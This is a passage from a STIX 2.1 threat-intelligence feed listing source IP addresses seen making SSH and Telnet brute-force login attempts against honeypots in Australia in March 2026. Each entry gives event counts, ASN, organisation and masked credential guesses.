      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--024c18d3-1255-4c91-90db-9c7c5f34d4d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**8, 1**0, 1*******d.",
      "id": "indicator--4477b774-498e-4b38-9187-239fdf602670",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.226.172.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2497. Organisation(s): Internet Initiative Japan Inc..",
      "id": "indicator--967bfa54-91a5-487d-b777-573b80e0a6a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.218.20.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52308. Organisation(s): AGUAS DEL COLORADO SAPEM.",
      "id": "indicator--0ed15ac3-18da-4304-b256-61b2d66a0326",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.174.142.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): g****b, n*****y, r**t. Passwords observed (masked): g****b, n*****y, r******t.",
      "id": "indicator--af6494b5-dde2-418d-abc3-fc362fcd44c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.252.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**8, 1**0, 2**********x.",
      "id": "indicator--60982c6f-5b76-435c-9303-89477398dc81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.169.38.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): u**t. Passwords observed (masked): 1***5.",
      "id": "indicator--4ff2293f-b735-48ad-b72d-351685fd22f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0937779f-8b6c-4369-981a-4c30ae74fe46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.147.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**8, 1**0, 1*******d, 2**********x, 3***********4.",
      "id": "indicator--df2d258e-ac45-4487-b4b5-e2c670b1ca82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.149.23.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T15:15:13.000Z",
      "valid_until": "2026-04-02T15:15:11.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): **, 1**********0, 1**************@, 3***********4, 3**********4.",
      "id": "indicator--9d0fd95d-ee90-4222-a795-6c548e443385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.88.137.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t. Passwords observed (masked): a****5.",
      "id": "indicator--ed9b724e-93c8-43be-8757-e7001dff4f93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.234.53.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--d62537f3-0805-4333-ab81-02be12da8bb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.120.157.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a202536d-d302-427d-9886-b298a0ac7363",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.137.130.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a76c8083-db13-4de6-aa5e-612ec3ff6e6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.57.201.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264403. Organisation(s): CMTECH Com.e Serv.de Informatica Ltda. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******0, 1****0, 1******z, 1**********c, 3***********4.",
      "id": "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.161.249.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1****1, 1**4.",
      "id": "indicator--680c4b10-268e-4ab3-91da-bda3456e3212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.59.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263934. Organisation(s): InfoRR Solucoes em Tecnologia.",
      "id": "indicator--8617817d-843d-479c-95a8-9b4eabf06ac4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.219.131.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 419. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, o****e, a****e, d****y. Passwords observed (masked): ***, ***, t**t, 1****1, 1****6.",
      "id": "indicator--8a093d26-cde8-419a-8f58-26e2af3ea48b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.86.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 386. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, d****e, o**o. Passwords observed (masked): 1****e, 1*******y, 5***1, 6****1, q****y.",
      "id": "indicator--8632049f-192c-436b-abac-a368279e3f51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.89.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n*****y, r**t. Passwords observed (masked): n*****y, r******t.",
      "id": "indicator--3e97e55d-8dc8-40c0-9796-3d5491cc624f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.191.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******!, 3***********4, 3**********4, 9****6, G*******@.",
      "id": "indicator--ba718618-dabf-43e5-a35f-1a9115527a40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.190.89.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53209. Organisation(s): RAIMAX INTERNET LTDA.",
      "id": "indicator--f2d729f5-2154-4e90-a76a-feae0a085ab4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.233.177.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e822348b-aec2-4e52-8ec7-7dbc9c785f1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): S********3, a******v.",
      "id": "indicator--3f23f7f7-dfc4-4416-b027-6e72a9a94421",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.228.30.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a******v, w**********5.",
      "id": "indicator--fe6a4556-5680-4892-93ae-705852e7c6f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.199.125.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): r**t. Passwords observed (masked): !*******3, G*******@.",
      "id": "indicator--a91e24f3-5767-45be-ace9-b63ec70e5b4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.119.84.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268114. Organisation(s): THM Tecnologia Net Ltda. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******d, 1*******0, 1****0, 1******z, 3***********4.",
      "id": "indicator--4020b69a-bfea-4488-8aba-9d3b4d89f001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.169.128.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 138195. Organisation(s): MOACK.Co.LTD. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5b15e64d-8e26-4c3d-8390-bc29f437290b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.111.244.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--90a44b6b-26e9-457b-b588-b9ccdfbf1e03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.37.146.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:15:06.000Z",
      "valid_until": "2026-04-02T16:15:05.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1******3, E******6.",
      "id": "indicator--2ac87c1c-edd4-402d-99a5-96fbb2fb3b17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
